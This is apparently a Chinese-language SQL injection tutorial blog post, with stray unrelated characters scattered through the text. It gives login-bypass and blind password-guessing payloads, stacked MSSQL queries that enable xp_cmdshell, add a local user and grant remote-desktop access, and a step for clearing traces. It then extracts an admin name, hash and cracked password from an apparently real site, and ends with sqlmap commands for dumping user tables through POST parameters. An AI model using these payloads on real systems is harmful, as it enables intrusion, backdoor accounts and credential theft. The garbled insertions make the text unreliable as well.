手工:
第一種
1.判斷輸入框是否存在注入
直接輸入一個 '看是否報錯(如果存在盲注的話也是不會報錯的)坡椒,如果直接出錯了拓巧,說明存在注入漏洞环壤,如果沒有,那么還需要進一步確定诉濒。如果頁面有多個輸入框,這時要分別確定是否都存在注入漏洞周伦。
2.判斷是什么類型的數(shù)據(jù)庫
,以及 這個頁面是什么類型的未荒,如果web服務器和sql服務器在同一個機器上专挪,沒準掃描端口就能知道,當然有可能端口是不對外開的片排。這個時候可以通過數(shù)據(jù)庫之間 的語法差異構(gòu)造些語句來識別寨腔,這里碰到的是MSSQL+ASPX,目前ASP,ASPX,php都可以做一些簡單的特殊字符過濾率寡,比如"<" ,";","--"等之類的迫卢,所以在測試的時候要考慮下。
3.繞過輸入信息以獲得更多的信息
例如一個頁面有兩個輸入框username和password,并且判斷出僅有username存在注入漏洞冶共。
當我們輸入錯誤的用戶名時乾蛤,提示username error。
通常我們在輸入數(shù)據(jù)時捅僵,web一般將 會用select * from admin where username=’XXX‘ and password=’YYY‘ 這句話提交給SQL服務器來對用戶名和密碼加以驗證家卖,其中 admin 是表名,username 和 password 是要輸入的內(nèi)容。我們只關(guān)心我們要輸入的東西命咐。
我們先構(gòu)造語句
select * from admin where username=’ ’ or '1'='1‘--‘ and password=’YYY‘即用戶名輸入’ or '1'='1‘--
--用于注釋后面的語句
結(jié)果是不能正常運行篡九,如果是以上這種類型的話,我們構(gòu)造的語句是永真的醋奠,那么可以繞過登陸的頁面
如果我們用戶名輸入’ or '1'='1
則會出現(xiàn)user password error錯誤榛臼,說明可以繞過用戶名的輸入
綜上所述,不能做到同時繞過用戶名和 密碼的輸入窜司,只能繞過username的輸入沛善,并且用戶名框和密碼框產(chǎn)生的是兩個不同的錯誤,說明username 和password是可能分別提交的(如果是一起提交的話塞祈,應該只有一種錯誤金刁,比如提示:你的用戶或密碼錯誤),可能是if (username='XXX' );if (password='YYY' )
4.有了這個能用的用戶议薪,我們試圖猜解下口令
先構(gòu)造語句
select * from admin where username=’ ’ or passwd like 'a%' and password=’YYY‘即用戶名輸入’ or passwd like 'a%
當password里面包含有a字符時為真尤蛮,即用戶名為真,應該回顯一個user password error
假如第一個為a斯议,接著下一個字符产捞。輸入’ or passwd like 'ad% 繼續(xù)檢測
當然,我們還應該檢測這個密碼的長度哼御,
構(gòu)造語句
select * from admin where username=’ ’ or len(passwd) < '20' and password=’YYY‘即用戶名輸入 ’ or len(passwd) < '20
同樣的坯临,成立時返回的錯誤應該是user password error焊唬,從20往1試,直到出現(xiàn)username錯誤看靠,那么長度就得知了
值得注意的是赶促,當有多個用戶名和密碼時,如果長度不一樣挟炬,那么這個長度值會有多個鸥滨。
同樣的上面的方法可以試出用戶名和用戶名的長度
select * from admin where username=’ ’ or username like 'a%' and password=’YYY‘即用戶名輸入’ or passwd like ’a%
select * from admin where username=’ ’ or len(username) < '20' and password=’YYY‘即用戶名輸入 ’ or len(username) < '20
這樣我們就成功的破解了用戶名和密碼.
進去以后依然還有個輸入框
1.判斷輸入框是否存在注入
直接輸入一個 ‘ 看是否報錯(如果存在盲注的話也是不會報錯的),如果直接出錯了辟宗,說明存在注入漏洞爵赵,如果沒有吝秕,那么還需要進一步確定泊脐。如果頁面有多個輸入框,這時要分別確定是否都存在注入漏洞。
2.簡單的輸入信息看能不能獲得更多的信息
例如一個頁面有兩個查詢輸入框username和remoteip,并且判斷出都存在注入漏洞烁峭。
先試試輸入 ' or '1' = '1
結(jié)果是都可以正常運行容客,并且相當于是沒有輸入任何內(nèi)容進行查詢。
猜測偽代碼會不會是這種類型的呢约郁?
if(username like 'XXX' and remoteip like 'YYY')
構(gòu)造語句試試能不能運行
if(username like 'XXX' and remoteip like 'YYY')缩挑;show databases--XXX' and remoteip like 'YYY')即輸入XXX' and remoteip like 'YYY');show databases--
在輸入前得確保能輸入這么多字符鬓梅,可以通過改變源碼來修改最多字符數(shù)供置。
發(fā)現(xiàn)結(jié)果是報錯。
那么有沒有可能采用的是group by這種語句呢绽快?
select username,remoteip,remotehost from table where username like 'XXX' group by username,remoteip,remotehost
那我們就構(gòu)造
select username,remoteip,remotehost from table where username like ' ' group by username,remoteip,remotehost;show databases--
即輸入' group by username,remoteip,remotehost;show databases--
發(fā)現(xiàn)能夠正確的運行
既然能夠運行指定的語句了芥丧,那就好辦了。
先開啟? xp_cmdshell 擴展存儲過程坊罢,由于存在安全隱患续担,所以在SQL Server 2005以后的版本中, xp_cmdshell 默認是關(guān)閉的活孩。
輸入
' group by username,remoteip,remotehost;EXEC sp_configure 'show advanced options', 1--
' group by username,remoteip,remotehost;RECONFIGURE--
開啟擴展存儲
' group by username,remoteip,remotehost;EXEC sp_configure 'xp_cmdshell',1--
增加用戶
' group by username,remoteip,remotehost;EXEC xp_cmdshell 'net user hello hello /add'--
有些情況還需要將用戶添加到遠程桌面組
' group by username,remoteip,remotehost;EXEC xp_cmdshell 'net localgroup "remote desktop users" hello /add’--
清痕時還要關(guān)閉xp_cmdshell
' group by username,remoteip,remotehost;EXEC sp_configure 'show advanced options',0--
第二種
后臺登陸框post注入按照注入的方式屬于post物遇,和前臺搜索型post注入、文本框注入類似憾儒,由于目前主流的注入工具除了穿山甲等較新工具以外幾乎都是get注入询兴,尤其是對于這種后臺賬戶型post注入式無能為力的,所以手工注入就顯得尤為重要了起趾,今天就用實戰(zhàn)說明一下大家不大在意的post注入的手注方法诗舰。(以后也會補充一個cookie注入的實戰(zhàn)例子)
1.爆數(shù)據(jù)庫的表段和相關(guān)字段
' having 1=1--
說明有表名叫 Sys_Admin 字段有 password
2.爆Sys_Admin下的其他字段。
' group by Sys_Admin.Password having 1=1--
不知道為何沒法用這種方式繼續(xù)爆表段的其他字段
失敗阳掐。
3 換種方式爆Sys_Admin表段的其他字段
1' and 1=convert(int,(select top 1 col_name(object_id ('Sys_Admin'),1) from Sys_Admin)) and '1'='1
1' and 1=convert(int,(select top 1 col_name(object_id ('Sys_Admin'),2) from Sys_Admin)) and '1'='1
這就是我們一開始就和表段一起爆出來的密碼字段始衅。
1' and 1=convert(int,(select top 1 col_name(object_id ('Sys_Admin'),3) from Sys_Admin)) and '1'='1
在將 nvarchar 值 'Name' 轉(zhuǎn)換成數(shù)據(jù)類型 int 時失敗冷蚂。
由結(jié)果可以推斷管理員賬戶是在name字段中,密碼是在password字段中汛闸。
4.然后就是分別爆字段內(nèi)容了
' and (select top 1 Sys_Admin.Name from Sys_Admin)>0--
所以爆出來的是admin
' and (select top 1 Sys_Admin.Password from Sys_Admin)>0--
爆出來的密碼是 D14E21B3210EF7C7EB42EC9740A1EE7E
經(jīng)過破解是:pjxh3100312
所有后臺賬戶和密碼是 admin pjxh3100312
經(jīng)過分析還有實例聯(lián)系說明蝙茶,手工注入的方法不能死板,可以多種方法結(jié)合一起使用诸老,學習多種數(shù)據(jù)庫的使用是非常有必要的隆夯。
利用sqlmap進行POST注入,常見的有三種方法:
注入方式一:
1.用Burp抓包别伏,然后保存抓取到的內(nèi)容蹄衷。例如:保存為post.txt,然后把它放至某個目錄下
運行sqlmap并使用如下命令:./sqlmap.py -r search-test.txt -p tfUPass,這里參數(shù) -r 是讓sqlmap加載我們的post請求rsearch-test.txt厘肮,而-p 大家應該比較熟悉愧口,指定注入用的參數(shù)。
2.列數(shù)據(jù)庫:
[html]view plaincopy
sqlmap.py?-r?"c:\Users\fendo\Desktop\post.txt"?-p?n?--dbs
注:-r表示加載一個文件类茂,-p指定參數(shù)
其中出現(xiàn)了三次提示:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起來像后端DBMS是'mysql'耍属。 是否要跳過特定于其他DBMS的測試負載? [Y/n]輸入"Y"
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
對于剩余的測試巩检,您想要包括所有針對“MySQL”擴展提供的級別(1)和風險(1)值的測試嗎厚骗? [Y/n]輸入"N"
POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST參數(shù)'n'是脆弱的。 你想繼續(xù)測試其他人(如果有的話)嗎兢哭?[y/N]輸入"Y"
以下是猜解出來的一些數(shù)據(jù)庫總共有13個數(shù)據(jù)庫领舰。
3.猜表
選擇一個數(shù)據(jù)庫,比如選fendo
[html]view plaincopy
sqlmap.py?-r?"c:\Users\fendo\Desktop\test.txt"?-p?n?-D?fendo?--tables
得到user表迟螺。
4.猜列
[html]view plaincopy
sqlmap.py?-r?"c:\Users\fendo\Desktop\post.txt"?-p?n?-D?fendo?-T?user?--columns
5.猜數(shù)據(jù)
[html]view plaincopy
sqlmap.py?-r?"c:\Users\fendo\Desktop\post.txt"?-p?n?-D?fendo?-T?user?-C?“username,password”?--dump
注入方式二:自動搜索表單的方式
[html]view plaincopy
sqlmap.py?-u?"http://192.168.160.1/sqltest/post.php"?--forms
它會有幾次消息提示:
do you want to test this form? [Y/n/q]
要測試此表單嗎?[Y/n/q]輸入"Y"
do you want to fill blank fields with random values? [Y/n]
是否要填充帶有隨機值的空白字段? [Y/n]輸入"Y"
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起來像后端DBMS是'MySQL'冲秽。 是否要跳過特定于其他DBMS的測試負載? [Y/n]輸入"Y"
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
對于剩余的測試煮仇,您想要包括所有針對“MySQL”擴展提供的級別(1)和風險(1)值的測試嗎劳跃?[Y/n]輸入"N"
POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST參數(shù)'n'是脆弱的。 你想繼續(xù)測試其他人(如果有的話)嗎浙垫?[y/N]輸入"N"
do you want to exploit this SQL injection? [Y/n]
你想利用SQL注入刨仑?輸入"Y"
注入方式三:指定一個參數(shù)的方法
[html]view plaincopy
sqlmap?-u?http://xxx.xxx.com/Login.asp?--data?"n=1&p=1"